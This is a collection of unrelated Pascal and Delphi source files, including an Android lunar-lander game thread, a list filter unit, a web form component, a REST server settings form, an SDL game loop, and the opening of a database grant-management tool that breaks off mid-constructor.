Log.w(&Class.Name, 'LunarThread.pause');
// Move the real time clock up to now
locking mSurfaceHolder do
mLastTime := System.currentTimeMillis + 100;
setState(STATE_RUNNING);
//NOTE: new thread management code
//To resume the thread we unset the flag and notify all waiting on the lock
locking mPauseLock do
begin
mPaused := false;
mPauseLock.notifyAll
end;
end;
/// <summary>
/// Dump game state to the provided Bundle. Typically called when the
/// Activity is being suspended.
/// </summary>
/// <param name="map"></param>
/// <returns>Bundle with this view's state</returns>
method LunarThread.saveState(map: Bundle): Bundle;
begin
locking mSurfaceHolder do
begin
if map <> nil then
begin
map.putInt(KEY_DIFFICULTY, mDifficulty);
map.putDouble(KEY_X, mX);
map.putDouble(KEY_Y, mY);
map.putDouble(KEY_DX, mDX);
map.putDouble(KEY_DY, mDY);
map.putDouble(KEY_HEADING, mHeading);
map.putInt(KEY_LANDER_WIDTH, mLanderWidth);
map.putInt(KEY_LANDER_HEIGHT, mLanderHeight);
map.putInt(KEY_GOAL_X, mGoalX);
map.putInt(KEY_GOAL_SPEED, mGoalSpeed);
map.putInt(KEY_GOAL_ANGLE, mGoalAngle);
map.putInt(KEY_GOAL_WIDTH, mGoalWidth);
map.putInt(KEY_WINS, mWinsInARow);
map.putDouble(KEY_FUEL, mFuel);
//NOTE: mMode wasn't stored in the original Java version. This meant
//that is you died and rotated the device, you'd die again. The same
//applied to winning
map.putInt(KEY_MODE, mMode);
end
end;
exit map
end;
/// <summary>
/// Restores game state from the indicated Bundle. Typically called when
/// the Activity is being restored after having been previously
/// destroyed.
/// </summary>
/// <param name="savedState">Bundle containing the game state</param>
method LunarThread.restoreState(savedState: Bundle);
begin
locking mSurfaceHolder do
begin
mRotating := 0;
mEngineFiring := false;
mDifficulty := savedState.Int[KEY_DIFFICULTY];
mX := savedState.Double[KEY_X];
mY := savedState.Double[KEY_Y];
mDX := savedState.Double[KEY_DX];
mDY := savedState.Double[KEY_DY];
mHeading := savedState.Double[KEY_HEADING];
mLanderWidth := savedState.Int[KEY_LANDER_WIDTH];
mLanderHeight := savedState.Int[KEY_LANDER_HEIGHT];
mGoalX := savedState.Int[KEY_GOAL_X];
mGoalSpeed := savedState.Int[KEY_GOAL_SPEED];
mGoalAngle := savedState.Int[KEY_GOAL_ANGLE];
mGoalWidth := savedState.Int[KEY_GOAL_WIDTH];
mWinsInARow := savedState.Int[KEY_WINS];
mFuel := savedState.Double[KEY_FUEL];
//NOTE: mMode wasn't stored in the original Java version. This meant
//that is you died and rotated the device, you'd die again. The same
//applied to winning
mMode := savedState.Int[KEY_MODE];
case mMode of
STATE_LOSE, STATE_WIN: setState(STATE_READY);
STATE_RUNNING: setState(STATE_PAUSE)
end;
end
end;
method LunarThread.run;
begin
while true do
begin
var c: Canvas := nil;
try
c := mSurfaceHolder.lockCanvas(nil);
locking mSurfaceHolder do
begin
if mMode = STATE_RUNNING then
updatePhysics;
//NOTE: original SDK demo did not check for nil here
//On some devices immediately after rotation c will be nil
if c <> nil then
doDraw(c);
end;
finally
// do this in a finally so that if an exception is thrown
// during the above, we don't leave the Surface in an
// inconsistent state
if c <> nil then
mSurfaceHolder.unlockCanvasAndPost(c)
end;
//NOTE: new thread management code
//If the thread has been paused, then block until we are
//notified we can proceed
locking mPauseLock do
while mPaused do
try
mPauseLock.wait
except
on e: InterruptedException do
;
end
end
end;
/// <summary>
/// Sets the current difficulty.
/// </summary>
method LunarThread.setDifficulty(difficulty: Integer);
begin
locking mSurfaceHolder do
mDifficulty := difficulty
end;
/// <summary>
/// Sets if the engine is currently firing.
/// </summary>
method LunarThread.setFiring(firing: Boolean);
begin
locking mSurfaceHolder do
mEngineFiring := firing
end;
/// <summary>
/// Sets the game mode. That is, whether we are running, paused, in the
/// failure state, in the victory state, etc.
/// see setState(int, CharSequence)
/// </summary>
/// <param name="mode">one of the STATE_* constants</param>
method LunarThread.setState(mode: Integer);
begin
locking mSurfaceHolder do
setState(mode, nil)
end;
/// <summary>
/// Sets the game mode. That is, whether we are running, paused, in the
/// failure state, in the victory state, etc.
/// </summary>
/// <param name="mode">one of the STATE_* constants</param>
/// <param name="message">string to add to screen or null</param>
method LunarThread.setState(mode: Integer; aMessage: CharSequence);
begin
// This method optionally can cause a text aMessage to be displayed
// to the user when the mode changes. Since the View that actually
// renders that text is part of the main View hierarchy and not
// owned by this thread, we can't touch the state of that View.
// Instead we use a Message + Handler to relay commands to the main
// thread, which updates the user-text View.
locking mSurfaceHolder do
begin
mMode := mode;
if mMode = STATE_RUNNING then
begin
var msg: Message := mHandler.obtainMessage;
var b: Bundle := new Bundle;
b.putString('text', '');
b.putInt('viz', View.INVISIBLE);
msg.Data := b;
mHandler.sendMessage(msg)
end
else
begin
mRotating := 0;
mEngineFiring := false;
var res: Resources := mContext.Resources;
var str: CharSequence := case mMode of
STATE_READY: res.Text[R.string.mode_ready];
STATE_PAUSE: res.Text[R.string.mode_pause];
STATE_LOSE: res.Text[R.string.mode_lose];
else {STATE_WIN} res.String[R.string.mode_win_prefix] + mWinsInARow + ' ' + res.String[R.string.mode_win_suffix]
end;
if aMessage <> nil then
str := aMessage.toString + #10 + str;
if mMode = STATE_LOSE then
mWinsInARow := 0;
var msg: Message := mHandler.obtainMessage;
var b: Bundle := new Bundle;
b.putString('text', str.toString);
b.putInt('viz', View.VISIBLE);
msg.Data := b;
mHandler.sendMessage(msg)
end
end
end;
/// <summary>
/// Callback invoked when the surface dimensions change.
/// </summary>
method LunarThread.setSurfaceSize(width: Integer; height: Integer);
begin
// synchronized to make sure these all change atomically
locking mSurfaceHolder do
begin
mCanvasWidth := width;
mCanvasHeight := height;
// don't forget to resize the background image
mBackgroundImage := Bitmap.createScaledBitmap(mBackgroundImage, width, height, true)
end
end;
/// <summary>
/// Handles a key-down event.
/// </summary>
/// <param name="keyCode">the key that was pressed</param>
/// <param name="msg">the original event object</param>
/// <returns>true</returns>
method LunarThread.doKeyDown(keyCode: Integer; msg: KeyEvent): Boolean;
begin
locking mSurfaceHolder do
begin
var okStart: Boolean := false;
if keyCode in [KeyEvent.KEYCODE_DPAD_UP, KeyEvent.KEYCODE_DPAD_DOWN, KeyEvent.KEYCODE_S] then
okStart := true;
if okStart and (mMode in [STATE_READY, STATE_LOSE, STATE_WIN]) then
begin
// ready-to-start -> start
doStart;
exit true
end
else
if (mMode = STATE_PAUSE) and okStart then
begin
// paused -> running
unpause;
exit true
end
else
if mMode = STATE_RUNNING then
case keyCode of
// center/space -> fire
KeyEvent.KEYCODE_DPAD_CENTER, KeyEvent.KEYCODE_SPACE:
begin
Log.i(&Class.Name, 'firing');
setFiring(true);
exit true
end;
// left/q -> left
KeyEvent.KEYCODE_DPAD_LEFT, KeyEvent.KEYCODE_Q:
begin
mRotating := -1;
exit true
end;
// right/w -> right
KeyEvent.KEYCODE_DPAD_RIGHT, KeyEvent.KEYCODE_W:
begin
mRotating := 1;
exit true
end;
// up -> pause
KeyEvent.KEYCODE_DPAD_UP:
begin
pause;
exit true
end;
end;
exit false
end
end;
/// <summary>
/// Handles a key-up event.
/// </summary>
/// <param name="keyCode">the key that was pressed</param>
/// <param name="msg">the original event object</param>
/// <returns>true if the key was handled and consumed, or else false</returns>
method LunarThread.doKeyUp(keyCode: Integer; msg: KeyEvent): Boolean;
begin
var handled: Boolean := false;
locking mSurfaceHolder do
begin
if mMode = STATE_RUNNING then
case keyCode of
KeyEvent.KEYCODE_DPAD_CENTER, KeyEvent.KEYCODE_SPACE:
begin
Log.i(&Class.Name, 'not firing');
setFiring(false);
handled := true
end;
KeyEvent.KEYCODE_DPAD_LEFT, KeyEvent.KEYCODE_Q, KeyEvent.KEYCODE_DPAD_RIGHT, KeyEvent.KEYCODE_W:
begin
mRotating := 0;
handled := true
end;
end;
end;
exit handled
end;
/// <summary>
/// Draws the ship, fuel/speed bars, and background to the provided
/// Canvas.
/// </summary>
method LunarThread.doDraw(aCanvas: Canvas);
begin
// Draw the background image. Operations on the Canvas accumulate
// so this is like clearing the screen.
aCanvas.drawBitmap(mBackgroundImage, 0, 0, nil);
var yTop: Integer := mCanvasHeight - Integer(mY + mLanderHeight div 2);
var xLeft: Integer := Integer(mX - mLanderWidth div 2);
// Draw the fuel gauge
var fuelWidth: Integer := Integer(UI_BAR * mFuel div PHYS_FUEL_MAX);
mScratchRect.&set(4, 4, 4 + fuelWidth, 4 + UI_BAR_HEIGHT);
aCanvas.drawRect(mScratchRect, mLinePaint);
// Draw the speed gauge, with a two-tone effect
var speed: Double := Math.sqrt(mDX * mDX + mDY * mDY);
var speedWidth: Integer := Integer(UI_BAR * speed div PHYS_SPEED_MAX);
if speed <= mGoalSpeed then
begin
mScratchRect.&set(4 + UI_BAR + 4, 4, 4 + UI_BAR + 4 + speedWidth, 4 + UI_BAR_HEIGHT);
aCanvas.drawRect(mScratchRect, mLinePaint)
end
else
begin
// Draw the bad color in back, with the good color in front of
// it
mScratchRect.&set(4 + UI_BAR + 4, 4, 4 + UI_BAR + 4 + speedWidth, 4 + UI_BAR_HEIGHT);
aCanvas.drawRect(mScratchRect, mLinePaintBad);
var goalWidth: Integer := UI_BAR * mGoalSpeed div PHYS_SPEED_MAX;
mScratchRect.&set(4 + UI_BAR + 4, 4, 4 + UI_BAR + 4 + goalWidth, 4 + UI_BAR_HEIGHT);
aCanvas.drawRect(mScratchRect, mLinePaint)
end;
// Draw the landing pad
aCanvas.drawLine(mGoalX, 1 + mCanvasHeight - TARGET_PAD_HEIGHT, mGoalX + mGoalWidth, 1 + mCanvasHeight - TARGET_PAD_HEIGHT, mLinePaint);
// Draw the ship with its current rotation
aCanvas.save;
aCanvas.rotate(Single(mHeading), Single(mX), mCanvasHeight - Single(mY));
if mMode = STATE_LOSE then
begin
mCrashedImage.setBounds(xLeft, yTop, xLeft + mLanderWidth, yTop + mLanderHeight);
mCrashedImage.draw(aCanvas)
end
else
if mEngineFiring then
begin
mFiringImage.setBounds(xLeft, yTop, xLeft + mLanderWidth, yTop + mLanderHeight);
mFiringImage.draw(aCanvas)
end
else
begin
mLanderImage.setBounds(xLeft, yTop, xLeft + mLanderWidth, yTop + mLanderHeight);
mLanderImage.draw(aCanvas)
end;
aCanvas.restore
end;
/// <summary>
/// Figures the lander state (x, y, fuel, ...) based on the passage of
/// realtime. Does not invalidate(). Called at the start of draw().
/// Detects the end-of-game and sets the UI to the next state.
/// </summary>
method LunarThread.updatePhysics;
begin
var now: Int64 := System.currentTimeMillis;
// Do nothing if mLastTime is in the future.
// This allows the game-start to delay the start of the physics
// by 100ms or whatever.
if mLastTime > now then
exit;
var elapsed: Double := (now - mLastTime) / 1000.0;
// mRotating -- update heading
if mRotating <> 0 then
begin
mHeading := mHeading + (mRotating * PHYS_SLEW_SEC * elapsed);
// Bring things back into the range 0..360
if mHeading < 0 then
mHeading := mHeading + 360
else
if mHeading >= 360 then
mHeading := mHeading - 360
end;
// Base accelerations -- 0 for x, gravity for y
var ddx: Double := 0;
var ddy: Double := -PHYS_DOWN_ACCEL_SEC * elapsed;
if mEngineFiring then
begin
// taking 0 as up, 90 as to the right
// cos(deg) is ddy component, sin(deg) is ddx component
var elapsedFiring: Double := elapsed;
var fuelUsed: Double := elapsedFiring * PHYS_FUEL_SEC;
// tricky case where we run out of fuel partway through the
// elapsed
if fuelUsed > mFuel then
begin
elapsedFiring := mFuel div fuelUsed * elapsed;
fuelUsed := mFuel;
// Oddball case where we adjust the "control" from here
mEngineFiring := false
end;
mFuel := mFuel - fuelUsed;
// have this much acceleration from the engine
var accel: Double := PHYS_FIRE_ACCEL_SEC * elapsedFiring;
var radians: Double := 2 * Math.PI * mHeading div 360;
ddx := Math.sin(radians) * accel;
ddy := ddy + Math.cos(radians) * accel
end;
var dxOld: Double := mDX;
var dyOld: Double := mDY;
// figure speeds for the end of the period
mDX := mDX + ddx;
mDY := mDY + ddy;
// figure position based on average speed during the period
mX := mX + (elapsed * (mDX + dxOld) div 2);
mY := mY + (elapsed * (mDY + dyOld) div 2);
mLastTime := now;
// Evaluate if we have landed ... stop the game
var yLowerBound: Double := TARGET_PAD_HEIGHT + (mLanderHeight div 2) - TARGET_BOTTOM_PADDING;
if mY <= yLowerBound then
begin
mY := yLowerBound;
var &result: Integer := STATE_LOSE;
var msg: CharSequence := '';
var res: Resources := mContext.Resources;
var speed: Double := Math.sqrt(mDX * mDX + mDY * mDY);
var onGoal: Boolean := (mGoalX <= mX - mLanderWidth div 2) and
(mX + mLanderWidth div 2 <= mGoalX + mGoalWidth);
// "Hyperspace" win -- upside down, going fast,
// puts you back at the top.
if (onGoal and (Math.abs(mHeading - 180) < mGoalAngle) and
(speed > PHYS_SPEED_HYPERSPACE)) then
begin
&result := STATE_WIN;
inc(mWinsInARow);
doStart;
exit
end
else
if not onGoal then
msg := res.Text[R.string.message_off_pad]
else
if not (mHeading <= mGoalAngle) or (mHeading >= 360 - mGoalAngle) then
msg := res.getText(R.string.message_bad_angle)
else
if speed > mGoalSpeed then
msg := res.Text[R.string.message_too_fast]
else
begin
&result := STATE_WIN;
inc(mWinsInARow)
end;
setState(&result, msg)
end
end;
end. |
unit InflatablesList_Manager_Filter;
{$INCLUDE '.\InflatablesList_defs.inc'}
interface
uses
InflatablesList_Types,
InflatablesList_Manager_Base,
InflatablesList_Manager_Sort;
type
TILManager_Filter = class(TILManager_Sort)
protected
fFilterSettings: TILFilterSettings;
procedure ThisCopyFrom_Filter(Source: TILManager_Base; UniqueCopy: Boolean); virtual;
public
constructor CreateAsCopy(Source: TILManager_Base; UniqueCopy: Boolean); override;
procedure CopyFrom(Source: TILManager_Base; UniqueCopy: Boolean); override;
procedure FilterItems; virtual;
property FilterSettings: TILFilterSettings read fFilterSettings write fFilterSettings;
end;
implementation
procedure TILManager_Filter.ThisCopyFrom_Filter(Source: TILManager_Base; UniqueCopy: Boolean);
begin
If Source is TILManager_Filter then
fFilterSettings := TILManager_Filter(Source).FilterSettings;
end;
//==============================================================================
constructor TILManager_Filter.CreateAsCopy(Source: TILManager_Base; UniqueCopy: Boolean);
begin
inherited CreateAsCopy(Source,UniqueCopy);
ThisCopyFrom_Filter(Source,UniqueCopy);
end;
//------------------------------------------------------------------------------
procedure TILManager_Filter.CopyFrom(Source: TILManager_Base; UniqueCopy: Boolean);
begin
inherited CopyFrom(Source,UniqueCopy);
ThisCopyFrom_Filter(Source,UniqueCopy);
end;
//------------------------------------------------------------------------------
procedure TILManager_Filter.FilterItems;
var
i: Integer;
begin
For i := ItemLowIndex to ItemHighIndex do
fList[i].Filter(fFilterSettings);
end;
end.
|
unit ThForm;
interface
uses
Windows, Classes, Controls, StdCtrls, ExtCtrls, Graphics, Messages, SysUtils,
Types,
ThWebControl, ThTag, ThPanel, ThWebDataDictionary;
type
TThFormMethod = ( fmPost, fmGet );
TThForm = class(TThCustomPanel)
private
FAction: string;
FMethod: TThFormMethod;
FInputs: TThWebDataDictionary;
FDefaultButton: TControl;
protected
function GetInputs: TThDictionaryData;
function GetInputsHtml: string; virtual;
function GetOutlineColor: TColor; override;
procedure SetDefaultButton(const Value: TControl); virtual;
procedure SetInputs(const Value: TThDictionaryData);
protected
function IsButton(const Value: TControl): Boolean;
procedure Notification(AComponent: TComponent;
Operation: TOperation); override;
procedure Tag(inTag: TThTag); override;
public
constructor Create(inOwner: TComponent); override;
published
property Action: string read FAction write FAction;
property Align;
property DefaultButton: TControl read FDefaultButton
write SetDefaultButton;
property DesignOpaque;
property Inputs: TThDictionaryData read GetInputs write SetInputs;
property Method: TThFormMethod read FMethod write FMethod;
property ShowGrid;
property ShowOutline default true;
property Style;
property StyleClass;
property Visible;
end;
const
htMethod: array[TThFormMethod] of string = ( 'post', 'get' );
implementation
uses
ThButton, ThImageButton;
const
cFormSpace = 32;
{ TThForm }
constructor TThForm.Create(inOwner: TComponent);
begin
inherited;
ControlStyle := ControlStyle + [ csAcceptsControls ];
FInputs := TThWebDataDictionary.Create(Self);
ShowOutline := true;
end;
function TThForm.GetOutlineColor: TColor;
begin
Result := clGreen;
end;
function TThForm.GetInputsHtml: string;
const
SHiddenInput = '<input type="hidden" name="%s" value="%s"/>';
var
i: Integer;
begin
Result := '';
for i := 0 to Pred(Inputs.Count) do
with Inputs[i] do
Result := Result + Format(SHiddenInput, [ WebName, WebValue ]);
end;
procedure TThForm.Tag(inTag: TThTag);
begin
inherited;
with inTag do
begin
Content := GetInputsHtml + Html;
//
Element := 'form';
//
Attributes.Clear;
Add('name', Name);
Add('method', htMethod[Method]);
// works even if Action=''
Attributes.Add(Format('action="%s"', [ Action ]));
//
Styles.Clear;
AddStyle('margin', 0);
end;
StylizeTag(inTag);
ListJsAttributes(inTag.Attributes);
end;
procedure TThForm.SetInputs(const Value: TThDictionaryData);
begin
FInputs.Data.Assign(Value);
end;
function TThForm.GetInputs: TThDictionaryData;
begin
Result := FInputs.Data;
end;
procedure TThForm.Notification(AComponent: TComponent;
Operation: TOperation);
begin
inherited;
if (Operation = opRemove) and (AComponent = DefaultButton) then
FDefaultButton := nil;
end;
function TThForm.IsButton(const Value: TControl): Boolean;
begin
Result := (Value <> nil) and
((Value is TThButton) or (Value is TThImageButton));
end;
procedure TThForm.SetDefaultButton(const Value: TControl);
begin
if IsButton(Value) then
begin
if FDefaultButton <> nil then
FDefaultButton.RemoveFreeNotification(Self);
FDefaultButton := Value;
if FDefaultButton <> nil then
FDefaultButton.FreeNotification(Self);
end;
end;
end.
|
unit UServidorRest;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, uDWAbout, uRESTDWBase,
Vcl.ExtCtrls, Vcl.Buttons, Vcl.Menus, System.ImageList, Vcl.ImgList,
Vcl.Imaging.GIFImg,Configuracoes, UConfigIni;
type
TFServidor = class(TForm)
Button1: TButton;
edt_PortaDW: TEdit;
edt_UserDW: TEdit;
edt_PasswordDW: TEdit;
Button2: TButton;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
labConexao: TLabel;
labDBConfig: TLabel;
edt_PortaDB: TEdit;
edt_UsuarioDB: TEdit;
edt_PasswordDB: TEdit;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
edt_Database: TEdit;
Label7: TLabel;
lSeguro: TLabel;
OpenDialog1: TOpenDialog;
edt_HostDB: TEdit;
Label8: TLabel;
TrayIcon1: TTrayIcon;
PopupMenu1: TPopupMenu;
Sair1: TMenuItem;
Panel1: TPanel;
Panel2: TPanel;
Panel3: TPanel;
Button3: TButton;
idcaixa: TLabel;
RESTServicePooler1: TRESTServicePooler;
RESTDWServiceNotification1: TRESTDWServiceNotification;
procedure Button1Click(Sender: TObject);
procedure IniciarServidor;
procedure PararServidor;
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Sair1Click(Sender: TObject);
procedure TrayIcon1DblClick(Sender: TObject);
procedure Minimizar;
procedure Button3Click(Sender: TObject);
private
FConfigIni: TConfigIni;
procedure GetParametros;
procedure SetParametros;
{ Private declarations }
public
{ Public declarations }
end;
var
FServidor: TFServidor;
implementation
uses
UDataModuloServidorRest, URecurso,ServerUtils;
{$R *.dfm}
procedure TFServidor.Button1Click(Sender: TObject);
var
recurso: TRecurso;
begin
recurso := TRecurso.Create;
try
IniciarServidor;
recurso.Desabilitar(FServidor);
finally
recurso.Free;
end;
end;
procedure TFServidor.Button2Click(Sender: TObject);
var
recurso: TRecurso;
begin
recurso := TRecurso.Create;
try
PararServidor;
recurso.Habilitar(FServidor);
finally
recurso.Free;
end;
end;
procedure TFServidor.Button3Click(Sender: TObject);
var
bdcaminho: string;
begin
OpenDialog1.Filter := 'FDB DB (*.fdb)|*.FDB';
if OpenDialog1.Execute then
begin
bdcaminho := OpenDialog1.FileName;
edt_Database.Text := Trim(bdcaminho);
end;
end;
procedure TFServidor.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Minimizar;
end;
procedure TFServidor.FormCreate(Sender: TObject);
begin
RESTServicePooler1.ServerMethodClass := TDataModuleServidorRestFull;
FConfigIni := TConfigIni.Create;
FConfigIni.ReadIni;
GetParametros;
end;
procedure TFServidor.SetParametros;
begin
FConfigIni.PortaServ := Trim(edt_PortaDW.Text);
FConfigIni.UsuarioServ := Trim(edt_UserDW.Text);
FConfigIni.SenhaServ := Trim(edt_PasswordDW.Text);
FConfigIni.PortBD := StrToInt(edt_PortaDB.Text);
FConfigIni.UsuarioBD := Trim(edt_UsuarioDB.Text);
FConfigIni.PasswordBD := Trim(edt_PasswordDB.Text);
FConfigIni.CaminhoBD := Trim(edt_Database.Text);
FConfigIni.HostBD := Trim(edt_HostDB.Text);
FConfigIni.WriteIni;
end;
procedure TFServidor.IniciarServidor;
begin
SetParametros;
if Not RESTServicePooler1.Active then
begin
with RESTServicePooler1 do
begin
TRDWAuthOptionBasic(AuthenticationOptions.OptionParams).Username := Trim(edt_UserDW.Text);
TRDWAuthOptionBasic(AuthenticationOptions.OptionParams).Password := Trim(edt_PasswordDW.Text);
RESTServicePooler1.ServicePort := StrToInt(edt_PortaDW.Text);
RESTServicePooler1.Active := True;
if RESTServicePooler1.Active = True then
begin
lSeguro.Caption := ' SERVIDOR CONECTADO! ';
end;
end;
end;
Minimizar;
end;
procedure TFServidor.Minimizar;
var
recurso : TRecurso;
begin
try
TrayIcon1.Visible := True;
FServidor.Hide;
recurso := TRecurso.Create;
recurso.Desabilitar(FServidor);
TrayIcon1.BalloonHint := ' SERVIDOR EM OPERAÇÃO! ';
TrayIcon1.BalloonFlags := bfInfo;
TrayIcon1.ShowBalloonHint;
finally
recurso.Free;
end;
end;
procedure TFServidor.PararServidor;
begin
if RESTServicePooler1.Active then
begin
RESTServicePooler1.Active := false;
lSeguro.Caption := ' SERVIDOR PARADO ';
end;
end;
procedure TFServidor.Sair1Click(Sender: TObject);
begin
FServidor := nil;
end;
procedure TFServidor.GetParametros;
begin
edt_PortaDW.Text := FConfigIni.PortaServ;
edt_UserDW.Text := FConfigIni.UsuarioServ;
edt_PasswordDW.Text := FConfigIni.SenhaServ;
edt_PortaDB.Text := IntToStr(FConfigIni.PortBD);
edt_UsuarioDB.Text := FConfigIni.UsuarioBD;
edt_PasswordDB.Text := FConfigIni.PasswordBD;
edt_Database.Text := Trim(FConfigIni.CaminhoBD);
edt_HostDB.Text := FConfigIni.HostBD;
end;
procedure TFServidor.TrayIcon1DblClick(Sender: TObject);
begin
TrayIcon1.Visible := false;
FServidor.Show;
end;
end.
|
UNIT TAU_MAIN;
{$MODE OBJFPC}
{$H+}
{$INCLUDE TAU_SIGNAL}
INTERFACE
USES
SDL,
TAU_WINDOW,
TAU_GAME_MAIN;
TYPE
TTauMain = CLASS
PRIVATE
b_running : boolean;
ctw_window : TTauWindow;
ctg_game : TTauGameMain;
PROCEDURE Init();
PUBLIC
CONSTRUCTOR Create();
DESTRUCTOR Destroy(); OVERRIDE;
PROCEDURE MainLoop();
END;
IMPLEMENTATION
CONSTRUCTOR TTauMain.Create();
BEGIN
Init();
END;
DESTRUCTOR TTauMain.Destroy();
BEGIN
ctw_window.Free();
ctg_Game.Free();
SDL_Quit();
END;
PROCEDURE TTauMain.Init();
BEGIN
b_running := TRUE;
ctw_window := NIL;
ctg_game := NIL;
{ Init SDL }
IF (SDL_Init(SDL_INIT_EVERYTHING) <> 0) THEN
BEGIN
b_running := FALSE;
END
ELSE
BEGIN
{ Init Win }
ctw_window := TTauWindow.Create(800, 600);
IF ((ctw_window = NIL) OR (ctw_window.IsOk() <> TRUE)) THEN
BEGIN
b_running := FALSE;
WriteLn('! CTW_WINDOW');
END
ELSE
BEGIN
{ Init Game }
ctg_game := TTauGameMain.Create();
IF ((ctg_game = NIL) OR (ctg_game.IsOk() <> TRUE)) THEN
BEGIN
b_running := FALSE;
WriteLn('! CTG_GAME');
END
END;
END;
END;
PROCEDURE TTauMain.MainLoop();
VAR
signal: tausignal;
BEGIN
signal := TAU_SIG_VOID;
WHILE (b_running) DO
BEGIN
SDL_PumpEvents();
SDL_FillRect(ctw_window.GetPWin(), NIL, SDL_MapRGB(ctw_window.GetPWin()^.format, 11, 12, 12));
signal := ctg_game.Tick(ctw_window.GetPWin());
ctw_window.Tick();
CASE signal OF
TAU_SIG_QUIT:
BEGIN
b_running := FALSE;
END;
TAU_SIG_VOID:
BEGIN
END;
END;
SDL_Delay(8);
END;
WriteLn('i MAIN LOOP BROKEN!');
END;
END.
|
unit ibSHDDLGrantor;
interface
uses
SysUtils, Classes,
SHDesignIntf,
ibSHDesignIntf, ibSHDriverIntf, ibSHTool;
type
TibSHDDLGrantor = class(TibBTTool, IibSHDDLGrantor, IibSHBranch, IfbSHBranch)
private
FIntDatabase: TComponent;
FIntDatabaseIntf: IibSHDatabase;
FPrivilegesFor: string;
FGrantsOn: string;
FDisplay: string;
FShowSystemTables: Boolean;
FIncludeFields: Boolean;
FUnionUsers: TStrings;
FAbsentUsers: TStrings;
FSelectG: TStrings;
FUpdateG: TStrings;
FDeleteG: TStrings;
FInsertG: TStrings;
FReferenceG: TStrings;
FExecuteG: TStrings;
FSelectGO: TStrings;
FUpdateGO: TStrings;
FDeleteGO: TStrings;
FInsertGO: TStrings;
FReferenceGO: TStrings;
FExecuteGO: TStrings;
function GetPrivilegesFor: string;
procedure SetPrivilegesFor(Value: string);
function GetGrantsOn: string;
procedure SetGrantsOn(Value: string);
function GetDisplay: string;
procedure SetDisplay(Value: string);
function GetShowSystemTables: Boolean;
procedure SetShowSystemTables(Value: Boolean);
function GetIncludeFields: Boolean;
procedure SetIncludeFields(Value: Boolean);
procedure ClearLists;
procedure SortLists;
function GetUnionUsers: TStrings;
function GetAbsentUsers: TStrings;
procedure ExtractGrants(const AClassIID: TGUID; const ACaption: string);
function GetGrantSelectIndex(const ACaption: string): Integer;
function GetGrantUpdateIndex(const ACaption: string): Integer;
function GetGrantDeleteIndex(const ACaption: string): Integer;
function GetGrantInsertIndex(const ACaption: string): Integer;
function GetGrantReferenceIndex(const ACaption: string): Integer;
function GetGrantExecuteIndex(const ACaption: string): Integer;
function IsGranted(const ACaption: string): Boolean;
function GetNormalizeName(const ACaption: string): string;
function GetPrivilegesForName(const AClassIID: TGUID; const ACaption: string): string;
function GrantTable(const AClassIID: TGUID; const Privilege, OnObject, ToObject: string; WGO: Boolean): Boolean;
function GrantTableField(const AClassIID: TGUID; const Privilege, OnField, OnObject, ToObject: string; WGO: Boolean): Boolean;
function GrantProcedure(const AClassIID: TGUID; const OnObject, ToObject: string; WGO: Boolean): Boolean;
function RevokeTable(const AClassIID: TGUID; const Privilege, OnObject, FromObject: string; WGO: Boolean): Boolean;
function RevokeTableField(const AClassIID: TGUID; const Privilege, OnField, OnObject, FromObject: string; WGO: Boolean): Boolean;
function RevokeProcedure(const AClassIID: TGUID; const OnObject, FromObject: string; WGO: Boolean): Boolean;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property PrivilegesFor: string read GetPrivilegesFor write SetPrivilegesFor;
property GrantsOn: string read GetGrantsOn write SetGrantsOn;
property Display: string read GetDisplay write SetDisplay;
property ShowSystemTables: Boolean read GetShowSystemTables write SetShowSystemTables;
property IncludeFields: Boolean read GetIncludeFields write SetIncludeFields;
end;
TibSHDDLGrantorFactory = class(TibBTToolFactory)
end;
TibSHGrant = class(TSHComponent, IibSHGrant)
end;
TibSHGrantWGO = class(TSHComponent, IibSHGrantWGO)
end;
procedure Register;
implementation
uses
ibSHConsts, ibSHSQLs, ibSHValues,
ibSHDDLGrantorActions,
ibSHDDLGrantorEditors;
procedure Register;
begin
SHRegisterImage(GUIDToString(IibSHDDLGrantor), 'GrantWGO.bmp');
SHRegisterImage(GUIDToString(IibSHGrant), 'Grant.bmp');
SHRegisterImage(GUIDToString(IibSHGrantWGO), 'GrantWGO.bmp');
SHRegisterImage(GUIDToString(IibSHUser), 'User.bmp');
SHRegisterImage(TibSHDDLGrantorPaletteAction.ClassName, 'GrantWGO.bmp');
SHRegisterImage(TibSHDDLGrantorFormAction.ClassName, 'Form_Privileges.bmp');
SHRegisterImage(TibSHDDLGrantorToolbarAction_Run.ClassName, 'Button_Run.bmp');
SHRegisterImage(TibSHDDLGrantorToolbarAction_Pause.ClassName, 'Button_Stop.bmp');
SHRegisterImage(TibSHDDLGrantorToolbarAction_Refresh.ClassName, 'Button_Refresh.bmp');
SHRegisterImage(SCallPrivileges, 'Form_Privileges.bmp');
SHRegisterComponents([
TibSHDDLGrantor,
TibSHDDLGrantorFactory,
TibSHGrant,
TibSHGrantWGO]);
SHRegisterActions([
// Palette
TibSHDDLGrantorPaletteAction,
// Forms
TibSHDDLGrantorFormAction,
// Toolbar
TibSHDDLGrantorToolbarAction_Run,
// TibSHDDLGrantorToolbarAction_Pause,
TibSHDDLGrantorToolbarAction_Refresh]);
SHRegisterPropertyEditor(IibSHDDLGrantor, SCallPrivilegesFor, TibSHDDLGrantorPrivilegesForPropEditor);
SHRegisterPropertyEditor(IibSHDDLGrantor, SCallGrantsOn, TibSHDDLGrantorGrantsOnPropEditor);
SHRegisterPropertyEditor(IibSHDDLGrantor, SCallDisplayGrants, TibSHDDLGrantorDisplayPropEditor);
end;
{ TibSHDDLGrantor }
constructor TibSHDDLGrantor.Create(AOwner: TComponent);
var
vComponentClass: TSHComponentClass;
begin
inherited Create(AOwner);
FPrivilegesFor := Format('%s', [PrivilegeTypes[4]]);
FGrantsOn := Format('%s', [GrantTypes[0]]);
FDisplay := Format('%s', [DisplayGrants[0]]);
FUnionUsers := TStringList.Create;
FAbsentUsers := TStringList.Create;
FSelectG := TStringList.Create;
FUpdateG := TStringList.Create;
FDeleteG := TStringList.Create;
FInsertG := TStringList.Create;
